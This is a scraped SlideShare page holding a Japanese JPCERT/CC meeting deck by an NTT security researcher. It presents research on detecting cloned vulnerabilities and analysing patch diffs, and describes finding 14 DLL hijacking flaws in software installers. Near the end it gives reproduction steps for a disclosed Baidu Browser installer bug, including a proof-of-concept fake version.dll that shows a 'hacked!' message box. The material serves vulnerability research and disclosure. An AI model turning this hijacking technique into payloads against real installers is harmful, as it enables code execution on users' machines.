2015 0227 OSC-Spring Tokyo NETMF2015 0227 OSC-Spring Tokyo NETMF
2015 0227 OSC-Spring Tokyo NETMFAtomu Hidaka
 
技術選択とアーキテクトの役割
技術選択とアーキテクトの役割技術選択とアーキテクトの役割
技術選択とアーキテクトの役割Toru Yamaguchi
 
Windows 8 Developers カンファレンス
Windows 8 Developers カンファレンスWindows 8 Developers カンファレンス
Windows 8 Developers カンファレンスKaoru NAKAMURA
 
2014 1018 OSC-Fall Tokyo NETMF
2014 1018 OSC-Fall Tokyo NETMF2014 1018 OSC-Fall Tokyo NETMF
2014 1018 OSC-Fall Tokyo NETMFAtomu Hidaka
 
2014 0228 OSC-Spring Tokyo NETMF
2014 0228 OSC-Spring Tokyo NETMF2014 0228 OSC-Spring Tokyo NETMF
2014 0228 OSC-Spring Tokyo NETMFAtomu Hidaka
 
ソニーのディープラーニングツールで簡単エッジコンピューティング
ソニーのディープラーニングツールで簡単エッジコンピューティングソニーのディープラーニングツールで簡単エッジコンピューティング
ソニーのディープラーニングツールで簡単エッジコンピューティングRyohei Kamiya
 
[CEDEC2014]モバイルゲームにおける社内基盤開発と“実録”
[CEDEC2014]モバイルゲームにおける社内基盤開発と“実録”[CEDEC2014]モバイルゲームにおける社内基盤開発と“実録”
[CEDEC2014]モバイルゲームにおける社内基盤開発と“実録”Drecom Co., Ltd.
 
2012-04-25 ASPLOS2012出張報告(公開版)
2012-04-25 ASPLOS2012出張報告(公開版)2012-04-25 ASPLOS2012出張報告(公開版)
2012-04-25 ASPLOS2012出張報告(公開版)Takahiro Shinagawa
 
Cedec2015 ゲームサーバー基盤の新しい選択肢
Cedec2015 ゲームサーバー基盤の新しい選択肢Cedec2015 ゲームサーバー基盤の新しい選択肢
Cedec2015 ゲームサーバー基盤の新しい選択肢Maho Takara
 
今話題のいろいろなコンテナランタイムを比較してみた
今話題のいろいろなコンテナランタイムを比較してみた今話題のいろいろなコンテナランタイムを比較してみた
今話題のいろいろなコンテナランタイムを比較してみたKohei Tokunaga
 

Similaire à [JPCERT/CC POC Meeting] 研究紹介 + DLLハイジャックの脆弱性 (20)

TEE (Trusted Execution Environment)は第二の仮想化技術になるか?
TEE (Trusted Execution Environment)は第二の仮想化技術になるか?TEE (Trusted Execution Environment)は第二の仮想化技術になるか?
TEE (Trusted Execution Environment)は第二の仮想化技術になるか?
 
【DeepSecurityUserNight】我が家の箱入り娘を世間に晒すのは危険なのでDeepSecurityに見守ってもらった話
【DeepSecurityUserNight】我が家の箱入り娘を世間に晒すのは危険なのでDeepSecurityに見守ってもらった話【DeepSecurityUserNight】我が家の箱入り娘を世間に晒すのは危険なのでDeepSecurityに見守ってもらった話
【DeepSecurityUserNight】我が家の箱入り娘を世間に晒すのは危険なのでDeepSecurityに見守ってもらった話
 
セキュリティオペレーション自動化に向けた、基盤技術と共通インターフェースの構築 [ISOC-JP workshop, 2016/05/20]
セキュリティオペレーション自動化に向けた、基盤技術と共通インターフェースの構築  [ISOC-JP workshop, 2016/05/20]セキュリティオペレーション自動化に向けた、基盤技術と共通インターフェースの構築  [ISOC-JP workshop, 2016/05/20]
セキュリティオペレーション自動化に向けた、基盤技術と共通インターフェースの構築 [ISOC-JP workshop, 2016/05/20]
 
CND(Certified Network Defender:認定ネットワークディフェンダー)のご紹介
CND(Certified Network Defender:認定ネットワークディフェンダー)のご紹介CND(Certified Network Defender:認定ネットワークディフェンダー)のご紹介
CND(Certified Network Defender:認定ネットワークディフェンダー)のご紹介
 
闘うITエンジニアのためのLinuxセキュリティ講座
闘うITエンジニアのためのLinuxセキュリティ講座闘うITエンジニアのためのLinuxセキュリティ講座
闘うITエンジニアのためのLinuxセキュリティ講座
 
RISC-Vのセキュリティ技術(TEE, Root of Trust, Remote Attestation)
RISC-Vのセキュリティ技術(TEE, Root of Trust, Remote Attestation)RISC-Vのセキュリティ技術(TEE, Root of Trust, Remote Attestation)
RISC-Vのセキュリティ技術(TEE, Root of Trust, Remote Attestation)
 
ソフトウェア資産管理とIT投資マネジメントの関係性
ソフトウェア資産管理とIT投資マネジメントの関係性ソフトウェア資産管理とIT投資マネジメントの関係性
ソフトウェア資産管理とIT投資マネジメントの関係性
 
Microsoft Intelligent Edge Technologies
Microsoft Intelligent Edge TechnologiesMicrosoft Intelligent Edge Technologies
Microsoft Intelligent Edge Technologies
 
VIOPS04: DHT/分散ストレージの技術研究と 実証実験
VIOPS04: DHT/分散ストレージの技術研究と 実証実験VIOPS04: DHT/分散ストレージの技術研究と 実証実験
VIOPS04: DHT/分散ストレージの技術研究と 実証実験
 
20180528_VxRailCC_Backup_NW宮本
20180528_VxRailCC_Backup_NW宮本20180528_VxRailCC_Backup_NW宮本
20180528_VxRailCC_Backup_NW宮本
 
2015 0227 OSC-Spring Tokyo NETMF
2015 0227 OSC-Spring Tokyo NETMF2015 0227 OSC-Spring Tokyo NETMF
2015 0227 OSC-Spring Tokyo NETMF
 
技術選択とアーキテクトの役割
技術選択とアーキテクトの役割技術選択とアーキテクトの役割
技術選択とアーキテクトの役割
 
Windows 8 Developers カンファレンス
Windows 8 Developers カンファレンスWindows 8 Developers カンファレンス
Windows 8 Developers カンファレンス
 
2014 1018 OSC-Fall Tokyo NETMF
2014 1018 OSC-Fall Tokyo NETMF2014 1018 OSC-Fall Tokyo NETMF
2014 1018 OSC-Fall Tokyo NETMF
 
2014 0228 OSC-Spring Tokyo NETMF
2014 0228 OSC-Spring Tokyo NETMF2014 0228 OSC-Spring Tokyo NETMF
2014 0228 OSC-Spring Tokyo NETMF
 
ソニーのディープラーニングツールで簡単エッジコンピューティング
ソニーのディープラーニングツールで簡単エッジコンピューティングソニーのディープラーニングツールで簡単エッジコンピューティング
ソニーのディープラーニングツールで簡単エッジコンピューティング
 
[CEDEC2014]モバイルゲームにおける社内基盤開発と“実録”
[CEDEC2014]モバイルゲームにおける社内基盤開発と“実録”[CEDEC2014]モバイルゲームにおける社内基盤開発と“実録”
[CEDEC2014]モバイルゲームにおける社内基盤開発と“実録”
 
2012-04-25 ASPLOS2012出張報告(公開版)
2012-04-25 ASPLOS2012出張報告(公開版)2012-04-25 ASPLOS2012出張報告(公開版)
2012-04-25 ASPLOS2012出張報告(公開版)
 
Cedec2015 ゲームサーバー基盤の新しい選択肢
Cedec2015 ゲームサーバー基盤の新しい選択肢Cedec2015 ゲームサーバー基盤の新しい選択肢
Cedec2015 ゲームサーバー基盤の新しい選択肢
 
今話題のいろいろなコンテナランタイムを比較してみた
今話題のいろいろなコンテナランタイムを比較してみた今話題のいろいろなコンテナランタイムを比較してみた
今話題のいろいろなコンテナランタイムを比較してみた
 

Plus de Asuka Nakajima

Reverse Engineering Dojo: Enhancing Assembly Reading Skills
Reverse Engineering Dojo: Enhancing Assembly Reading SkillsReverse Engineering Dojo: Enhancing Assembly Reading Skills
Reverse Engineering Dojo: Enhancing Assembly Reading SkillsAsuka Nakajima
 
[Dagstuhl Seminar 17281] Similarity Calculation Method for Binary Executables
[Dagstuhl Seminar 17281] Similarity Calculation Method for Binary Executables[Dagstuhl Seminar 17281] Similarity Calculation Method for Binary Executables
[Dagstuhl Seminar 17281] Similarity Calculation Method for Binary ExecutablesAsuka Nakajima
 
第二回CTF勉強会資料
第二回CTF勉強会資料第二回CTF勉強会資料
第二回CTF勉強会資料Asuka Nakajima
 
[CSS×2.0 2014] Polyglotシェルコードの最高記録に挑戦しよう☆
[CSS×2.0 2014] Polyglotシェルコードの最高記録に挑戦しよう☆[CSS×2.0 2014] Polyglotシェルコードの最高記録に挑戦しよう☆
[CSS×2.0 2014] Polyglotシェルコードの最高記録に挑戦しよう☆Asuka Nakajima
 
[セキュリティ・キャンプフォーラム 2014] 卒業生プレゼンテーション 『私とセキュリティと過去と未来』
[セキュリティ・キャンプフォーラム 2014] 卒業生プレゼンテーション  『私とセキュリティと過去と未来』[セキュリティ・キャンプフォーラム 2014] 卒業生プレゼンテーション  『私とセキュリティと過去と未来』
[セキュリティ・キャンプフォーラム 2014] 卒業生プレゼンテーション 『私とセキュリティと過去と未来』Asuka Nakajima
 
[ROOTCON13] Pilot Study on Semi-Automated Patch Diffing by Applying Machine-L...
[ROOTCON13] Pilot Study on Semi-Automated Patch Diffing by Applying Machine-L...[ROOTCON13] Pilot Study on Semi-Automated Patch Diffing by Applying Machine-L...
[ROOTCON13] Pilot Study on Semi-Automated Patch Diffing by Applying Machine-L...Asuka Nakajima
 
[AsiaCCS2019] A Pilot Study on Consumer IoT Device Vulnerability Disclosure a...
[AsiaCCS2019] A Pilot Study on Consumer IoT Device Vulnerability Disclosure a...[AsiaCCS2019] A Pilot Study on Consumer IoT Device Vulnerability Disclosure a...
[AsiaCCS2019] A Pilot Study on Consumer IoT Device Vulnerability Disclosure a...Asuka Nakajima
 

Plus de Asuka Nakajima (7)

Reverse Engineering Dojo: Enhancing Assembly Reading Skills
Reverse Engineering Dojo: Enhancing Assembly Reading SkillsReverse Engineering Dojo: Enhancing Assembly Reading Skills
Reverse Engineering Dojo: Enhancing Assembly Reading Skills
 
[Dagstuhl Seminar 17281] Similarity Calculation Method for Binary Executables
[Dagstuhl Seminar 17281] Similarity Calculation Method for Binary Executables[Dagstuhl Seminar 17281] Similarity Calculation Method for Binary Executables
[Dagstuhl Seminar 17281] Similarity Calculation Method for Binary Executables
 
第二回CTF勉強会資料
第二回CTF勉強会資料第二回CTF勉強会資料
第二回CTF勉強会資料
 
[CSS×2.0 2014] Polyglotシェルコードの最高記録に挑戦しよう☆
[CSS×2.0 2014] Polyglotシェルコードの最高記録に挑戦しよう☆[CSS×2.0 2014] Polyglotシェルコードの最高記録に挑戦しよう☆
[CSS×2.0 2014] Polyglotシェルコードの最高記録に挑戦しよう☆
 
[セキュリティ・キャンプフォーラム 2014] 卒業生プレゼンテーション 『私とセキュリティと過去と未来』
[セキュリティ・キャンプフォーラム 2014] 卒業生プレゼンテーション  『私とセキュリティと過去と未来』[セキュリティ・キャンプフォーラム 2014] 卒業生プレゼンテーション  『私とセキュリティと過去と未来』
[セキュリティ・キャンプフォーラム 2014] 卒業生プレゼンテーション 『私とセキュリティと過去と未来』
 
[ROOTCON13] Pilot Study on Semi-Automated Patch Diffing by Applying Machine-L...
[ROOTCON13] Pilot Study on Semi-Automated Patch Diffing by Applying Machine-L...[ROOTCON13] Pilot Study on Semi-Automated Patch Diffing by Applying Machine-L...
[ROOTCON13] Pilot Study on Semi-Automated Patch Diffing by Applying Machine-L...
 
[AsiaCCS2019] A Pilot Study on Consumer IoT Device Vulnerability Disclosure a...
[AsiaCCS2019] A Pilot Study on Consumer IoT Device Vulnerability Disclosure a...[AsiaCCS2019] A Pilot Study on Consumer IoT Device Vulnerability Disclosure a...
[AsiaCCS2019] A Pilot Study on Consumer IoT Device Vulnerability Disclosure a...
 

[JPCERT/CC POC Meeting] 研究紹介 + DLLハイジャックの脆弱性

  • 1. Copyright©2018 NTT corp. All Rights Reserved. 活動紹介 研究紹介 + DLLハイジャックの脆弱性 日本電信電話株式会社 セキュアプラットフォーム研究所 中島明日香 JPCERT/CC POC Meeting
  • 2. 1Copyright©2018 NTT corp. All Rights Reserved. 自己紹介: 中島 明日香  情報セキュリティの研究開発  脆弱性発見・対策技術がメイン (最近はIoT機器が対象)  CTF for GIRLS 発起人  2014年設立。女性限定CTFワークショップ & 大会を開催  Black Hat Asia Review Board [査読者]  世界最大級の産業系セキュリティ国際会議  著書 『サイバー攻撃』  講談社ブルーバックス 1月発売
  • 3. 2Copyright©2018 NTT corp. All Rights Reserved.  [前半] 研究紹介  コードクローンの脆弱性発見手法  パッチ差分に基づく脆弱性修正箇所の特定支援技術  [後半] DLLハイジャックの脆弱性を大量に発見した話  DLLハイジャックの脆弱性を8月末に14個 発見&報告  脆弱性の詳細と経緯について 目次 公表済の脆弱性 CVE-2018-0692
  • 4. 3Copyright©2018 NTT corp. All Rights Reserved. 研究紹介
  • 5. 4Copyright©2018 NTT corp. All Rights Reserved. 研究紹介1:コードクローンの脆弱性発見手法 研究背景 ソフトウェア A 脆弱性 箇所 コピー ソフトウェア B コードクローンの脆弱性とは コピー&ペースト ソースコード共有 フォークプロジェクト ソース コード A ソース コードB Ctrl + C Ctrl + V オリジナルの脆弱性に対するパッチを基に、 コードクローンの脆弱性に対する攻撃コードが作成可能
  • 6. 5Copyright©2018 NTT corp. All Rights Reserved. 1.逆アセンブル・正規化 2.類似度算出 3.脆弱性有無の判定 脆弱性が有る 実行ファイル 逆 ア セ ン ブ ル + 正 規 化 脆弱性箇所の 機械語命令列 push REG mov REG REG mov REG VAL call MEM ・・・ 検査対象実行 ファイルの 機械語命令列 mov REG REG push REG mov REG REG push REG push REG mov REG MEM mov REG MEM lea REG MEM ・・・ 検査対象 実行ファイル ■ 逆アセンブル 概要図 ■ 正規化 ‣脆弱性がある実行ファイル ‣検査対象実行ファイル ‣コンパイル環境によって異なる 機械語(オペランド)が生成される そのため正規化が必要 VAL MEM REG 即値 メモリの値 レジスタ 正規化前 正規化後 mov eax ecx mov REG REG 研究紹介1:コードクローンの脆弱性発見手法 発見手法について [1/3]
  • 7. 6Copyright©2018 NTT corp. All Rights Reserved. 2.類似度算出 3.脆弱性有無の判定1.逆アセンブル・正規化 脆弱性箇所の 機械語命令列 push REG mov REG REG mov REG VAL call MEM ・・・ 検査対象実行ファイル の機械語命令列 mov REG REG push REG mov REG REG push REG push REG mov REG MEM mov REG MEM lea REG MEM ・・・ 類似度算出 類似度 xx% ■ 類似度算出 動的計画法に基づいた類似文字列検索アルゴリズムを利用 ‣Needleman-Wunsch (セミグローバル版) ‣アフィンギャップペナルティ (文字列の追加・削除部分の計算手法) アルゴリズムを用いて算出したスコアを元に類似度を計算 研究紹介1:コードクローンの脆弱性発見手法 発見手法について [2/3]
  • 8. 7Copyright©2018 NTT corp. All Rights Reserved. push REG mov REG REG mov REG VAL call MEM ・・・ push REG mov REG REG mov REG VAL call MEM ・・・ mov REG REG push REG mov REG REG push REG push REG mov REG MEM mov REG MEM lea REG MEM ・・・ 脆弱性箇所の 機械語命令列 修正済み脆弱性 箇所の機械語命令列 類似度算出① 類似度算出② 類似度①:80% 類似度②:55% 脆弱性候補 抽出 検査対象実行ファイル の機械語命令列 ■ 脆弱性修正有無の判別手法 ‣修正済み脆弱性箇所との類似度を算出 未修正の脆弱性箇所(類似度①)>修正済み脆弱性箇所(類似度②)の場合抽出 1.逆アセンブル・正規化 2.類似度算出 3.脆弱性有無の判定 研究紹介1:コードクローンの脆弱性発見手法 発見手法について [3/3]
  • 9. 8Copyright©2018 NTT corp. All Rights Reserved. CVE-ID オリジナル コピー 類似度 結果 CVE-2008-4250 netapi32.dll (5.1.2600.2952) netlogon.dll (5.2.3790.1830) 37.7%  CVE-2011-0658 oleaut32.dll (5.2.3790.4202) olepro32.dll (6.1.7601.17514) 75.1%  Deadcode CVE-2015-1789 libeay32.dll (0.9.8.31) JunosPulseVpnBg.dll (1.0.0.206) 43.9%  CVE-2015-1793 libeay32.dll (1.0.1.15) JunosPulseVpnBg.dll (1.0.0.206) 39.0%  No attack vector Windowsの脆弱性14個 + OpenSSLの脆弱性7個をテンプレとして利用 収集対象 収集した実行ファイル数 Virus Total(NSRL) 7580 Windows XP 3479 Windows Vista 6933 Windows 7 5981 Windows8.1 5048 Windows Server 2003 3984 Windows Server 2008 7940 研究紹介1:コードクローンの脆弱性発見手法 実験 & 結果 主にWindows中に存在する 実行ファイルを収集し、コードク ローンの脆弱性が無いかを調査 ■ 結果
  • 10. 9Copyright©2018 NTT corp. All Rights Reserved.  CVE-2008-4250  【複製元】netapi32.dll 【複製先】netlogon32.dll  BoF & Conficker Wormに利用されていた 修正の流れ  netapi32.dllの修正パッチ [KB958644] 2008年10月配布  netlogon32.dllの修正パッチ [KB961853] 2009年1月配布  CVE-2015-1789  【複製元】 libeay32.dll 【複製先】 JunosPulseVpnBg.dll  Used by “Windows In-Box Junos Pulse Client(VPN Client)”※ 修正の流れ  OpenSSL(libeay32.dll)修正日 2015年6月  実験でコードクローンの脆弱性を発見した日 2015年7月  JunosPulseClient修正日 2015年8月 研究紹介1:コードクローンの脆弱性発見手法 結果の詳細 ※Windows In-Box Junos Pulse Client Quick Start Guide https://www.juniper.net/techpubs/software/pulse/guides/j-pulse-windows-inbox-client-qsg.pdf パッチの配布に 3ヶ月の開きが存在! 修正前に発見! CVE-2008-4250のケース CVE-2015-1789のケース
  • 11. 10Copyright©2018 NTT corp. All Rights Reserved. 研究紹介2:パッチ差分に基づく脆弱性修正箇所の特定支援 研究背景  バイナリ比較ツールを用いた差分解析  BinDiff  Turbodiff  脆弱性修正箇所特定支援技術  DarunGrim  手法:優先的に解析すべき差分箇所を提示  例:cmp命令 +1点, strlen関数 +2点  問題:開発者独自の知見に基づく特徴を利用しているため、網羅性に欠ける 既知の脆弱性箇所を特定したい場合、 脆弱性修正前後の差分解析(パッチ差分解析)が主流 実際の脆弱性修正の特徴を学習し、パッチ差分解析時に優先的に 解析すべき箇所を提示する脆弱性修正箇所特定支援技術の実現を検討 BinDiffによるパッチ差分解析
  • 12. 11Copyright©2018 NTT corp. All Rights Reserved. CVE-2014-0198 CVE-2015-0288 類似脆弱性の場合、その修正も類似する可能性が高い仮説  脆弱性修正の特徴 - NULLポインタ参照の脆弱性 - ポインタがNULLか検査 研究紹介2:パッチ差分に基づく脆弱性修正箇所の特定支援 仮説
  • 13. 12Copyright©2018 NTT corp. All Rights Reserved.  実験概要  データセット:OpenSSL1.0.1の脆弱性修正パッチ 62個  修正のためソースコードに追加や変更が生じた関数を対象に特徴を抽出  分類手法:クラスタ分析手法 (階層的クラスタリング/ユークリッド距離)  実験環境:OS:Ubuntu 14.04(x86版), コンパイラ:gcc 5.4.0  特徴抽出の手順 脆弱性修正方法に共通となる特徴が存在するのか検証目的 脆弱性修正前 脆弱性修正後 正規化前 正規化後 正規化命令集合 ① 出現命令集合の増分を抽出 ② 増分命令集合を正規化 ③ 正規化命令の出現頻度を集計 各命令の出現頻度増分命令集合 mov mov cmp jne test je push jmp lea pop … mov mov cmp jne test je push jmp lea pop … trans trans cmp jump cmp jump stack jump lea stack … trans trans cmp jump cmp jump stack jump lea stack … trans: 2 cmp: 2 jump: 3 stack:2 lea: 1 … push mov sub jmp … push mov sub + mov + mov jmp … 研究紹介2:パッチ差分に基づく脆弱性修正箇所の特定支援 仮説検証
  • 14. 13Copyright©2018 NTT corp. All Rights Reserved.  分析:各脆弱性(CVE-ID)の概念を表すCWE-ID※をラベルとして付与  結果:同じラベルが多く密集している2つのクラスタを発見 ※直接CVE-IDに紐付いているCWE-IDでは無く、該当するCWE-IDを内包するルートCWE-IDを利用 Development View with Abstractions Highlighted, http://cwe.mitre.org/data/pdf/699_abstraction_colors.pdf ② ①クラスタ2 クラスタ1 研究紹介2:パッチ差分に基づく脆弱性修正箇所の特定支援 検証結果
  • 15. 14Copyright©2018 NTT corp. All Rights Reserved. ■クラスタ1の特徴 - CWE-19(データ処理)が密集 - 比較/分岐/算術命令が一定数以上存在 - 整数関連の値の検査が追加 ■クラスタ2の特徴 - CWE-254(セキュリティ機能) - 転送/分岐/関数に関する命令 - エラー処理用の関数が追加 脆弱性例:CVE-2016-0797 脆弱性例:CVE-2014-3470 パッチ毎に修正箇所の数に違いが存在。結果別クラスタとして分類された 研究紹介2:パッチ差分に基づく脆弱性修正箇所の特定支援 結果詳細
  • 16. 15Copyright©2018 NTT corp. All Rights Reserved. 資料  コードクローンの脆弱性発見手法  中島明日香, 岩村誠, 矢田健, “機械語命令の類似度算出による複製さ れた脆弱性の発見手法の提案” , コンピュータセキュリティシンポジ ウム, 2015年10月  https://ipsj.ixsq.nii.ac.jp/ej/index.php?active_action=repository_view_main_item_detail&page_ id=13&block_id=8&item_id=146833&item_no=1  Asuka Nakajima “If You Find One, There are Probably More! A Detection Method of “Reproduced” Vulnerability.”, Positive Hack Days, May, 2016, Russia  http://www.slideshare.net/phdays/ss-62579634  パッチ差分に基づく脆弱性修正箇所特定支援技術  中島 明日香, 木村 廉, 川古谷裕平, 岩村 誠, 針生 剛男 “パッチ差分に基づく脆弱性修正箇所の特定支援技術の検討” マルチメディア,分散,協調とモバイル(DICOMO2017)シンポジウ ム, 2017年6月 (ヤングリサーチャ賞受賞)  https://ipsj.ixsq.nii.ac.jp/ej/index.php?active_action=repository_view_main_item_detail&page_ id=13&block_id=8&item_id=190132&item_no=1
  • 17. 16Copyright©2018 NTT corp. All Rights Reserved. DLLハイジャックの脆弱性を 大量に報告した話 14個!
  • 18. 17Copyright©2018 NTT corp. All Rights Reserved. 背景 [1/2] ‣DLLの検索順序の仕様を考慮しない実装に起因 アプリケーションがDLL(共有ライブラリ)を読み込む際に、 開発者の意図せず任意(偽)のDLLが読み込まれてしまう脆弱性 DLLハイジャックの脆弱性とは(Windows環境) ‣CWE-427:Uncontrolled Search Path Element (制御されていない検索パスの要素)
  • 19. 18Copyright©2018 NTT corp. All Rights Reserved. 0. “KnownDLLs”※に登録されているか否か 1. アプリケーションが読み込まれたディレクトリ 2. システムディレクトリ 3. 16ビットシステムディレクトリ 4. Windowsディレクトリ 5. カレントディレクトリ(CWD) 6. PATH環境変数に設定されているディレクトリ 【補足】DLLの検索パス [標準設定] ※一般的によく利用されるDLLは事前にパスがレジストリに 登録されている(原則system32)(※http://eternalwindows.jp/windevelop/dll/dll05.html)
  • 20. 19Copyright©2018 NTT corp. All Rights Reserved.  大量発見のきっかけ  BlackHat USAで受講したトレーニング  未知のDLLハイジャックの脆弱性を探せ!という課題  「DLLハイジャックというと昔流行った?脆弱性な印象」  ここ数年はインストーラを対象としたDLLハイジャックが流行 背景 [1/2] ‣DLLの検索順序の仕様を考慮しない実装に起因 アプリケーションがDLL(共有ライブラリ)を読み込む際に、 開発者の意図せず任意(偽)のDLLが読み込まれてしまう脆弱性 DLLハイジャックの脆弱性とは(Windows環境) ‣CWE-427:Uncontrolled Search Path Element (制御されていない検索パスの要素) 勉強不足・・(゚ω゚;A)
  • 21. 20Copyright©2018 NTT corp. All Rights Reserved.  大量発見のきっかけ  BlackHat USAで受講したトレーニング  未知のDLLハイジャックの脆弱性を探せ!という課題  「DLLハイジャックというと昔流行った?脆弱性な印象」  ここ数年はインストーラを対象としたDLLハイジャックが流行 背景 [1/2] ‣DLLの検索順序の仕様を考慮しない実装に起因 アプリケーションがDLL(共有ライブラリ)を読み込む際に、 開発者の意図せず任意(偽)のDLLが読み込まれてしまう脆弱性 DLLハイジャックの脆弱性とは(Windows環境) ‣CWE-427:Uncontrolled Search Path Element (制御されていない検索パスの要素) 勉強不足・・(゚ω゚;A)
  • 22. 21Copyright©2018 NTT corp. All Rights Reserved.  大量発見のきっかけ  BlackHat USAで受講したトレーニング  未知のDLLハイジャックの脆弱性を探せ!という課題  「DLLハイジャックというと昔流行った?脆弱性な印象」  ここ数年はインストーラを対象としたDLLハイジャックが流行 背景 [1/2] ‣DLLの検索順序の仕様を考慮しない実装に起因 アプリケーションがDLL(共有ライブラリ)を読み込む際に、 開発者の意図せず任意(偽)のDLLが読み込まれてしまう脆弱性 DLLハイジャックの脆弱性とは(Windows環境) ‣CWE-427:Uncontrolled Search Path Element (制御されていない検索パスの要素) 勉強不足・・(゚ω゚;A)インストーラを中心にバグハンティングしてみよう!
  • 23. 22Copyright©2018 NTT corp. All Rights Reserved.  結果  見事脆弱性が見つかる! 背景 [2/2]
  • 24. 23Copyright©2018 NTT corp. All Rights Reserved.  結果  見事脆弱性が見つかる! 背景 [2/2] 先生! 脆弱性を見つけました!
  • 25. 24Copyright©2018 NTT corp. All Rights Reserved.  結果  見事脆弱性が見つかる! 背景 [2/2] 先生! 脆弱性を見つけました! あ、本当だ。凄いね!
  • 26. 25Copyright©2018 NTT corp. All Rights Reserved.  結果  見事脆弱性が見つかる! 背景 [2/2] 先生! 脆弱性を見つけました! あ、本当だ。凄いね! ありがとうございます!(* ̄∇ ̄*) (一応本職?だし見つけられて良かった・・('A`;))
  • 27. 26Copyright©2018 NTT corp. All Rights Reserved.  結果  見事脆弱性が見つかる! 背景 [2/2] 先生! 脆弱性を見つけました! あ、本当だ。凄いね! ありがとうございます!(* ̄∇ ̄*) (一応本職?だし見つけられて良かった・・('A`;)) しかもインストーラに着目するなんて ”今までに無い斬新な発想だ”!!
  • 28. 27Copyright©2018 NTT corp. All Rights Reserved.  結果  見事脆弱性が見つかる! 背景 [2/2] 先生! 脆弱性を見つけました! あ、本当だ。凄いね! ありがとうございます!(* ̄∇ ̄*) (一応本職?だし見つけられて良かった・・('A`;)) しかもインストーラに着目するなんて ”今までに無い斬新な発想だ”!! 受講者の中でインストーラに着目して探している人は皆無 探せばまだまだ沢山あるのでは・・?
  • 29. 28Copyright©2018 NTT corp. All Rights Reserved. 調査したインストーラ一覧 [1/2] ★が脆弱性として報告したもの カテゴリ ソフトウェア名 ブラウザ Safari Firefox Opera Chrome Lunascape Phoebe Tor Browser Seamonkey Sleipnir Yandex Browser Vivaldi Waterfox ★Baidu Browser (公表済) ★ XXX ★ XXX メディア プレーヤ GOM Player DivX VLC MPC-HC ★ XXX ★ XXX ★ XXX ★ XXX カテゴリ ソフトウェア名 バイナリ エディタ 010 Editor HxD Strling Winhex Ultra Edit ★ XXX オフィス 系 Libre Office Open Office Free Office Poralis Office 一太郎(試用版) ★ XXX メーラ ベッキー 秀丸メール Opera Mail Thunderbird 画像 ビューア IrfanView XnView Honeyview NexusImage Imagine ImageGlass ★XXX カテゴリ ソフトウェア名 テキスト エディタ Atom Sakura terapad sublimetext 秀丸 brackets Notpad++ Microsoft OneNote Evernote チャット IRC等 Skype Limechat BoldChat LiveChat Line pidgin ★ XXX ★ XXX セキュリ ティソフト 等 Wireshark Kaspersky secure Connection Virustotal windows uploader McAfee Ransomware Decryption McAfee Security Scan Plus Malwarebytes Avast AVG(体験版) ★XXX
  • 30. 29Copyright©2018 NTT corp. All Rights Reserved. カテゴリ ソフトウェア名 PDF閲覧 ソフト等 Kindle Foxit Adobe Reader Slimpdf Smatra PDF PDF-Xchange Viewer ★ XXX その他 Spotify Audacity Kindle for PC BitTorrent NETGEARGenie TeraTerm cybozu Desktop LEGO Digital Designer Blender FileZilla iCloud Dropbox Installer ImageMagick カテゴリ ソフトウェア名 その他 Virtual Box GIMP Visual Studio Community 2017 Vmware WorkStation 12 Lhaca デラックス版 Jane Style(5ch専用ブラウザ) git for windows Inkscape Unity(Download Assistant) 合計14個の脆弱性を報告 中にはユーザ数800万人の ソフトウェアにも 調査したインストーラ一覧 [2/2] ★が脆弱性として報告したもの (匿名化済み)
  • 31. 30Copyright©2018 NTT corp. All Rights Reserved. Baidu Browser の場合: 再現手順 [1/3] 1 インストーラ(BaiduBrowser_MiniDownloader.exe) が利用するDLLの種類を確認 CFF Explorerで確認 2 手元の環境にてKnownDLLsとして登録されているDLLを、 cmd.exe経由で下記コマンドにて確認する reg query "hklmsystemcurrentcontrolsetcontrolsession managerknowndlls“ _wow64 REG_SZ wow64.dll -中略- WLDAP32 REG_SZ WLDAP32.dll WS2_32 REG_SZ WS2_32.dll インストーラが利用していてかつ KnownDLLsでは無いDLLを探す
  • 32. 31Copyright©2018 NTT corp. All Rights Reserved. Baidu Browser の場合: 再現手順 [2/3] 3 ステップ2,3から、インストーラが読み込んでいる version.dllはKnownDLLsでは無い事が判明 そこでこのversion.dllを用いてDLLハイジャックを行う ※他にもKnownDLLsで無いものがあるが、今回はversion.dllで検証 4 実際にDLLハイジャックを行うための偽のDLL (version.dll)を用意する
  • 33. 32Copyright©2018 NTT corp. All Rights Reserved. Baidu Browser の場合: 再現手順 [3/3] #include “stdafx.h” void showMessage() { MessageBox(0, TEXT(“hacked!”), TEXT(“code injected!”), MB_OK); } BOOL APIENTRY DllMain( HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved){ switch (ul_reason_for_call){ case DLL_PROCESS_ATTACH: showMessage(); break; case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE; } POC(version.dll) 5 右図の様なDLLを準備 (コンパイル)しversion.dll と名づける(※補足) ※また検証ではオリジナルのversion.dllが持つエクスポート関数を、 オリジナルのdll(version_orig.dll)に転送するための機能を持たせた 6 インストーラと同一の ディレクトリにversion.dll (+version_orig.dll)を配置する 7 インストーラを実行すると 「hacked!」というメッセージが表示され、 DLLハイジャックが成功したことが確認できる
  • 34. 33Copyright©2018 NTT corp. All Rights Reserved. Baidu Browserの場合 : デモ動画  デモ動画
  • 35. 34Copyright©2018 NTT corp. All Rights Reserved. 0. “KnownDLLs”※に登録されているか否か 1. アプリケーションが読み込まれたディレクトリ (アプリケーションディレクトリ型) 2. システムディレクトリ 3. 16ビットシステムディレクトリ 4. Windowsディレクトリ 5. カレントディレクトリ(CWD) (カレントディレクトリ型) 6. PATH環境変数に設定されているディレクトリ 【補足】DLLハイジャックの脆弱性の種類 [再掲] DLLの検索パス  流行の変遷  2010年頃はカレントディレクトリ型が流行  例:Wordの文書(docx)を開いた場所からDLLが読み込まれる  最近はアプリケーションディレクトリ型が流行  例:インストーラがダウンロードされた場所からDLLが読み込まれる
